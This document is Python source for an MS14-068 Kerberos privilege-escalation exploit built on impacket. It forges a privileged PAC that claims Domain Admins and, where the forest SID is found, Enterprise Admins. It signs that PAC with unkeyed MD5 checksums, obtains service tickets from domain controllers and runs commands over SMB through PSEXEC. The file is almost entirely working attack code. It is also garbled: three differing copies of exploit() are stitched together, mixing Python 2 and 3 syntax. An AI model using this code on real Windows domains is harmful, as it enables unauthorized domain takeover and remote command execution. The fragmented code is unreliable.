def exploit(self):
if self.__kdcHost is None:
getDCs = True
self.__kdcHost = self.__domain
else:
getDCs = False
self.__domainSid, self.__rid = self.getUserSID()
try:
self.__forestSid = self.getForestSid()
except Exception as e:
# For some reason we couldn't get the forest data. No problem, we can still continue
# Only drawback is we won't get forest admin if successful
logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
self.__forestSid = None
if getDCs is False:
# User specified a DC already, no need to get the list
self.__domainControllers.append(self.__kdcHost)
else:
self.__domainControllers = self.getDomainControllers()
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
for dc in self.__domainControllers:
logging.info('Attacking domain controller %s' % dc)
self.__kdcHost = dc
exception = None
while True:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
self.__lmhash, self.__nthash, None,
self.__kdcHost, requestPAC=False)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash == '' and self.__nthash == '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
continue
else:
exception = str(e)
break
else:
exception = str(e)
break
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# If the cypher in use != RC4 there's gotta be a salt for us to use
salt = ''
if asRep['padata']:
for pa in asRep['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
salt = etype2['salt'].prettyPrint()
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
if self.__nthash != '':
key = Key(cipher.enctype,self.__nthash)
else:
key = cipher.string_to_key(self.__password, salt, None)
plainText = cipher.decrypt(key, 3, cipherText)
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
authTime = encASRepPart['authtime']
serverName = Principal('krbtgt/%s' % self.__domain.upper(),
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
cipher, sessionKey, authTime)
# We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
self.__kdcHost, tgs, cipher,
sessionKey)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash == '' and self.__nthash == '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
else:
exception = str(e)
break
else:
exception = str(e)
break
else:
# Everything went well, let's save the ticket if asked and leave
if self.__writeTGT is not None:
from impacket.krb5.ccache import CCache
ccache = CCache()
ccache.fromTGS(tgs, oldSessionKey, sessionKey)
ccache.saveFile(self.__writeTGT)
break
if exception is None:
# Success!
logging.info('%s found vulnerable!' % dc)
break
else:
logging.info('%s seems not vulnerable (%s)' % (dc, exception))
if exception is None:
TGS = {}
TGS['KDC_REP'] = tgsCIFS
TGS['cipher'] = cipher
TGS['oldSessionKey'] = oldSessionKeyCIFS
TGS['sessionKey'] = sessionKeyCIFS
from impacket.smbconnection import SMBConnection
if self.__targetIp is None:
s = SMBConnection('*SMBSERVER', self.__target)
else:
s = SMBConnection('*SMBSERVER', self.__targetIp)
s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
useCache=False)
if self.__command != 'None':
executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)
executer.run(self.__target)
class MS14_068:
# 6.1. Unkeyed Checksums
# Vulnerable DCs are accepting at least these unkeyed checksum types
CRC_32 = 1
RSA_MD4 = 2
RSA_MD5 = 7
class VALIDATION_INFO(TypeSerialization1):
structure = (('Data', PKERB_VALIDATION_INFO), )
def __init__(self,
target,
targetIp=None,
username='',
password='',
domain='',
hashes=None,
command='',
copyFile=None,
writeTGT=None,
kdcHost=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__rid = 0
self.__lmhash = ''
self.__nthash = ''
self.__target = target
self.__targetIp = targetIp
self.__kdcHost = None
self.__copyFile = copyFile
self.__command = command
self.__writeTGT = writeTGT
self.__domainSid = ''
self.__forestSid = None
self.__domainControllers = list()
self.__kdcHost = kdcHost
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
self.__lmhash = unhexlify(self.__lmhash)
self.__nthash = unhexlify(self.__nthash)
def getGoldenPAC(self, authTime):
# Ok.. we need to build a PAC_TYPE with the following items
# 1) KERB_VALIDATION_INFO
aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))
unixTime = getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = 0
kerbdata['PasswordLastSet']['dwHighDateTime'] = 0
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__username
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 0
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = self.__rid
kerbdata['PrimaryGroupId'] = 513
# Our Golden Well-known groups! :)
groups = (513, 512, 520, 518, 519)
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = group
groupMembership['RelativeId'] = groupId
groupMembership[
'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata[
'UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain
kerbdata['LogonDomainId'] = self.__domainSid
kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata[
'UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
# AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is
# asserted by an authentication authority based on proof of possession of client credentials.
#extraSids = ('S-1-18-1',)
if self.__forestSid is not None:
extraSids = ('%s-%s' % (self.__forestSid, '519'), )
kerbdata['SidCount'] = len(extraSids)
kerbdata['UserFlags'] |= 0x20
else:
extraSids = ()
kerbdata['SidCount'] = len(extraSids)
for extraSid in extraSids:
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extraSid)
sidRecord['Sid'] = sid
sidRecord[
'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['ExtraSids'].append(sidRecord)
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = self.VALIDATION_INFO()
validationInfo['Data'] = kerbdata
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO')
validationInfo.dump()
print('\n')
validationInfoBlob = validationInfo.getData(
) + validationInfo.getDataReferents()
validationInfoAlignment = '\x00' * ((
(len(validationInfoBlob) + 7) / 8 * 8) - len(validationInfoBlob))
# 2) PAC_CLIENT_INFO
pacClientInfo = PAC_CLIENT_INFO()
pacClientInfo['ClientId'] = unixTime
try:
name = self.__username.encode('utf-16le')
except UnicodeDecodeError:
import sys
name = self.__username.decode(
sys.getfilesystemencoding()).encode('utf-16le')
pacClientInfo['NameLength'] = len(name)
pacClientInfo['Name'] = name
pacClientInfoBlob = str(pacClientInfo)
pacClientInfoAlignment = '\x00' * ((
(len(pacClientInfoBlob) + 7) / 8 * 8) - len(pacClientInfoBlob))
# 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
serverChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#serverChecksum['SignatureType'] = self.CRC_32
#serverChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#serverChecksum['SignatureType'] = self.RSA_MD4
#serverChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
serverChecksum['SignatureType'] = self.RSA_MD5
serverChecksum['Signature'] = '\x00' * 16
serverChecksumBlob = str(serverChecksum)
serverChecksumAlignment = '\x00' * ((
(len(serverChecksumBlob) + 7) / 8 * 8) - len(serverChecksumBlob))
# 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
privSvrChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#privSvrChecksum['SignatureType'] = self.CRC_32
#privSvrChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#privSvrChecksum['SignatureType'] = self.RSA_MD4
#privSvrChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
privSvrChecksum['SignatureType'] = self.RSA_MD5
privSvrChecksum['Signature'] = '\x00' * 16
privSvrChecksumBlob = str(privSvrChecksum)
privSvrChecksumAlignment = '\x00' * ((
(len(privSvrChecksumBlob) + 7) / 8 * 8) - len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(str(PAC_INFO_BUFFER())) * 4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData + validationInfoIB['cbBufferSize'] +
7) / 8 * 8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) / 8 * 8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData + serverChecksumIB['cbBufferSize'] +
7) / 8 * 8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
#offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(
serverChecksumIB) + str(
privSvrChecksumIB
) + validationInfoBlob + validationInfoAlignment + str(
pacClientInfo) + pacClientInfoAlignment
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(
privSvrChecksum) + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = str(pacType)
# If you want to do CRC-32, ucomment this
#serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
#privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)
# If you want to do MD4, ucomment this
#serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
#privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest()
# If you want to do MD5, ucomment this
serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
privSvrChecksum['Signature'] = MD5.new(
serverChecksum['Signature']).digest()
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(
privSvrChecksum) + privSvrChecksumAlignment
pacType['Buffers'] = buffers + buffersTail
authorizationData = AuthorizationData()
authorizationData[0] = None
authorizationData[0]['ad-type'] = int(
constants.AuthorizationDataType.AD_WIN2K_PAC.value)
authorizationData[0]['ad-data'] = str(pacType)
return encoder.encode(authorizationData)
def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher,
sessionKey, authTime):
# Get out Golden PAC
goldenPAC = self.getGoldenPAC(authTime)
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
# Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
ifRelevant = AD_IF_RELEVANT()
ifRelevant[0] = None
ifRelevant[0]['ad-type'] = int(
constants.AuthorizationDataType.AD_IF_RELEVANT.value)
ifRelevant[0]['ad-data'] = goldenPAC
encodedIfRelevant = encoder.encode(ifRelevant)
# Key Usage 4
# TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
# the TGS session key (Section 5.4.1)
encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4,
encodedIfRelevant, None)
tgsReq = TGS_REQ()
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.proxiable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.SystemRandom().getrandbits(31)
seq_set_iter(reqBody, 'etype', (cipher.enctype, ))
reqBody['enc-authorization-data'] = None
reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
reqBody['enc-authorization-data'][
'cipher'] = encryptedEncodedIfRelevant
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
encodedAuthenticator,
None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = None
tgsReq['padata'][0] = None
tgsReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = False
encodedPacRequest = encoder.encode(pacRequest)
tgsReq['padata'][1] = None
tgsReq['padata'][1]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
tgsReq['padata'][1]['padata-value'] = encodedPacRequest
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
# Get the session key
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(cipher.enctype,
str(encTGSRepPart['key']['keyvalue']))
return r, cipher, sessionKey, newSessionKey
def getForestSid(self):
logging.debug('Calling NRPC DsrGetDcNameEx()')
stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_NRPC)
resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
forestName = resp['DomainControllerInfo']['DnsForestName'][:-1]
logging.debug('DNS Forest name is %s' % forestName)
dce.disconnect()
logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')
stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % forestName
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_LSAT)
resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
resp = hLsarQueryInformationPolicy2(
dce, policyHandle,
POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
dce.disconnect()
forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo'][
'DomainSid'].formatCanonical()
logging.info("Forest SID: %s" % forestSid)
return forestSid
def getDomainControllers(self):
logging.debug('Calling DRSDomainControllerInfo()')
stringBinding = epm.hept_map(self.__domain,
MSRPC_UUID_DRSUAPI,
protocol='ncacn_ip_tcp')
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.connect()
dce.bind(MSRPC_UUID_DRSUAPI)
request = DRSBind()
request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID
drs = DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = 0
drs['ConfigObjGUID'] = NULLGUID
drs['dwExtCaps'] = 127
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = dce.request(request)
dcs = hDRSDomainControllerInfo(dce, resp['phDrs'], self.__domain, 1)
dce.disconnect()
domainControllers = list()
for dc in dcs['pmsgOut']['V1']['rItems']:
logging.debug('Found domain controller %s' %
dc['DnsHostName'][:-1])
domainControllers.append(dc['DnsHostName'][:-1])
return domainControllers
def getUserSID(self):
stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,
self.__domain)
domainId = resp['DomainId']
resp = samr.hSamrOpenDomain(dce, serverHandle, domainId=domainId)
domainHandle = resp['DomainHandle']
resp = samr.hSamrLookupNamesInDomain(dce, domainHandle,
(self.__username, ))
# Let's pick the relative ID
rid = resp['RelativeIds']['Element'][0]['Data']
logging.info("User SID: %s-%s" % (domainId.formatCanonical(), rid))
return domainId, rid
def exploit(self):
if self.__kdcHost is None:
getDCs = True
self.__kdcHost = self.__domain
else:
getDCs = False
self.__domainSid, self.__rid = self.getUserSID()
try:
self.__forestSid = self.getForestSid()
except Exception, e:
# For some reason we couldn't get the forest data. No problem, we can still continue
# Only drawback is we won't get forest admin if successful
logging.error('Couldn\'t get forest info (%s), continuing' %
str(e))
self.__forestSid = None
if getDCs is False:
# User specified a DC already, no need to get the list
self.__domainControllers.append(self.__kdcHost)
else:
self.__domainControllers = self.getDomainControllers()
userName = Principal(
self.__username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
for dc in self.__domainControllers:
logging.info('Attacking domain controller %s' % dc)
self.__kdcHost = dc
exception = None
while True:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
None,
self.__kdcHost,
requestPAC=False)
except KerberosError, e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
continue
else:
exception = str(e)
break
else:
exception = str(e)
break
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# If the cypher in use != RC4 there's gotta be a salt for us to use
salt = ''
if asRep['padata']:
for pa in asRep['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etype2 = decoder.decode(
str(pa['padata-value'])[2:],
asn1Spec=ETYPE_INFO2_ENTRY())[0]
salt = str(etype2['salt'])
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
if self.__nthash != '':
key = Key(cipher.enctype, self.__nthash)
else:
key = cipher.string_to_key(self.__password, salt, None)
plainText = cipher.decrypt(key, 3, str(cipherText))
encASRepPart = decoder.decode(plainText,
asn1Spec=EncASRepPart())[0]
authTime = encASRepPart['authtime']
serverName = Principal(
'krbtgt/%s' % self.__domain.upper(),
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(
serverName, domain, self.__kdcHost, tgt, cipher,
sessionKey, authTime)
# We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
serverName = Principal(
'cifs/%s' % self.__target,
type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(
serverName, domain, self.__kdcHost, tgs, cipher,
sessionKey)
except KerberosError, e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
else:
exception = str(e)
break
else:
exception = str(e)
break
else:
# Everything went well, let's save the ticket if asked and leave
if self.__writeTGT is not None:
from impacket.krb5.ccache import CCache
ccache = CCache()
ccache.fromTGS(tgs, oldSessionKey, sessionKey)
ccache.saveFile(self.__writeTGT)
break
def exploit(self):
self.__domainSid, self.__rid = self.getUserSID()
userName = Principal(
self.__username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
while True:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
None,
self.__kdcHost,
requestPAC=False)
except KerberosError, e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
continue
else:
raise
else:
raise
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# If the cypher in use != RC4 there's gotta be a salt for us to use
salt = ''
if asRep['padata']:
for pa in asRep['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etype2 = decoder.decode(
str(pa['padata-value'])[2:],
asn1Spec=ETYPE_INFO2_ENTRY())[0]
enctype = etype2['etype']
salt = str(etype2['salt'])
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
if self.__nthash != '':
key = Key(cipher.enctype, self.__nthash)
else:
key = cipher.string_to_key(self.__password, salt, None)
plainText = cipher.decrypt(key, 3, str(cipherText))
encASRepPart = decoder.decode(plainText,
asn1Spec=EncASRepPart())[0]
authTime = encASRepPart['authtime']
serverName = Principal(
'krbtgt/%s' % self.__domain.upper(),
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(
serverName, domain, self.__kdcHost, tgt, cipher, sessionKey,
authTime)
# We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
serverName = Principal(
'cifs/%s' % self.__target,
type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(
serverName, domain, self.__kdcHost, tgs, cipher,
sessionKey)
except KerberosError, e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
else:
raise
else:
raise
